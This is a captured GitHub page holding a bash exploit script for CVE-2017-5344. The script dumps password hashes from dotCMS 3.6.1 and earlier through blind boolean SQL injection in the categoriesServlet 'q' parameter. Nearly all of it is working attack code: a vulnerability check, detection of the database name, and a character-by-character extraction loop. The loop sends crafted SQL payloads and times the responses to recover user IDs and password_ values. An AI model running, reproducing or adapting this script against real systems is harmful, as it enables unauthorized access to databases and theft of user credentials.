Skip to content
Permalink
Branch: master
Find file Copy path
Find file Copy path
Fetching contributors…
Cannot retrieve contributors at this time
executable file 234 lines (201 sloc) 4.59 KB
#!/bin/bash
#
# Dump password hashes from dotCMS <= 3.6.1 using blind boolean SQL injection.
# CVE: CVE-2017-5344
# Author: Ben Nott <pajexali@gmail.com>
# Date: January 2017
#
# Note this exploit is tuned for MySQL backends but can be adapted
# for other DMBS's.
show_usage() {
echo "Usage $0 [target]"
echo
echo "Where:"
echo -e "target\t...\thttp://target.example.com (no trailing slash, port optional)"
echo
echo "For example:"
echo
echo "$0 http://www.examplesite.com"
echo "$0 https://www.mycmssite.com:9443"
echo
exit 1
}
test_exploit() {
target=$1
res=$(curl -k -s -X 'GET' \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
"${target}/categoriesServlet?q=%5c%5c%27")
if [ $? -ne 0 ];
then
echo "Failed to connect. Check host and try again!"
exit 1
fi
if [ -z "$res" ];
then
echo "The target appears vulnerable. We're good to go!"
else
echo "The target isn't vulnerable."
exit 1
fi
}
dump_char() {
target=$1
char=$2
database=$3
index=$4
offset=$5
column=$6
avg_delay=$7
if [ -z "$offset" ];
then
offset=1
fi
if [[ $char != *"char("* ]];
then
char="%22${char}%22"
fi
if [ -z "$column" ];
then
column="password_"
fi
# Controls the avg delay of a FALSE
# request
if [ -z "$avg_delay" ];
then
avg_delay="0.100"
fi
res=$(curl -k -sS \
-w " %{time_total}" \
-H 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:50.0) Gecko/20100101 Firefox/50.0' -H 'Upgrade-Insecure-Requests: 1' \
"${target}/categoriesServlet?q=%5c%5c%27)+OR%2f%2a%2a%2f(SELECT(SUBSTRING((SELECT(${column})FROM(${database}.user_)LIMIT%2f%2a%2a%2f${index},1),${offset},1)))LIKE+BINARY+${char}%2f%2a%2a%2fORDER+BY+category.sort_order%23")
data=$(echo $res | awk '{print $1}')
rtt=$(echo $res | awk '{print $2}')
# Calculate boolean based on time delay and
# data presence.
has_delay=$(echo "${rtt}>${avg_delay}" | bc -l)
if [ ! -z "$data" ];
then
if [ $has_delay -eq 1 ];
then
echo "$char"
fi
fi
}
testdb() {
target=$1
res=$(dump_char $target 1 "dotcms" 1 1)
if [ ! -z "$res" ];
then
echo "dotcms"
else
res=$(dump_char $target 1 "dotcms2")
if [ ! -z "$res" ];
then
echo "dotcms2"
fi
fi
}
convert_char() {
char=$1
conv="$char"
if [ "$char" == "char(58)" ];
then
conv=":"
elif [ "$char" == "char(47)" ];
then
conv="/"
elif [ "$char" == "char(61)" ];
then
conv="="
elif [ "$char" == "char(45)" ];
then
conv="-"
fi
echo -n "$conv"
}
a2chr() {
a=$1
printf 'char(%02d)' \'$a
}
n2chr() {
n=$1
printf 'char(%d)' $n
}
chr2a() {
chr=$1
chr=$(echo $chr | sed -e 's/char(//g' -e 's/)//g')
chr=`printf \\\\$(printf '%03o' $chr)`
echo -n $chr
}
iter_chars() {
target=$1
db=$2
user=$3
offset=$4
column=$5
for c in {32..36} {38..94} {96..126}
do
c=$(n2chr $c)
res=$(dump_char $target $c $db $user $offset $column)
if [ ! -z "$res" ];
then
chr2a $res
break
fi
done
}
exploit() {
target=$1
db=$(testdb $target)
if [ -z "$db" ];
then
echo "Unable to identify database name used by dotcms instance!"
exit 1
fi
echo "Dumping users and passwords from database..."
echo
for user in $(seq 0 1023);
do
validuser=1
echo -n "| $user | "
for offset in $(seq 1 1024);
do
res=$(iter_chars $target $db $user $offset "userid")
if [ -z "$res" ];
then
if [ $offset -eq 1 ];
then
validuser=0
fi
break
fi
echo -n "$res";
done
if [ $validuser -eq 1 ];
then
printf " | "
else
printf " |\n"
break
fi
for offset in $(seq 1 1024);
do
res=$(iter_chars $target $db $user $offset "password_")
if [ -z "$res" ];
then
break
fi
echo -n "$res";
done
printf " |\n"
done
echo
echo "Dumping complete!"
}
target=$1
if [ -z "$target" ];
then
show_usage
fi
test_exploit $target
exploit $target
You can’t perform that action at this time.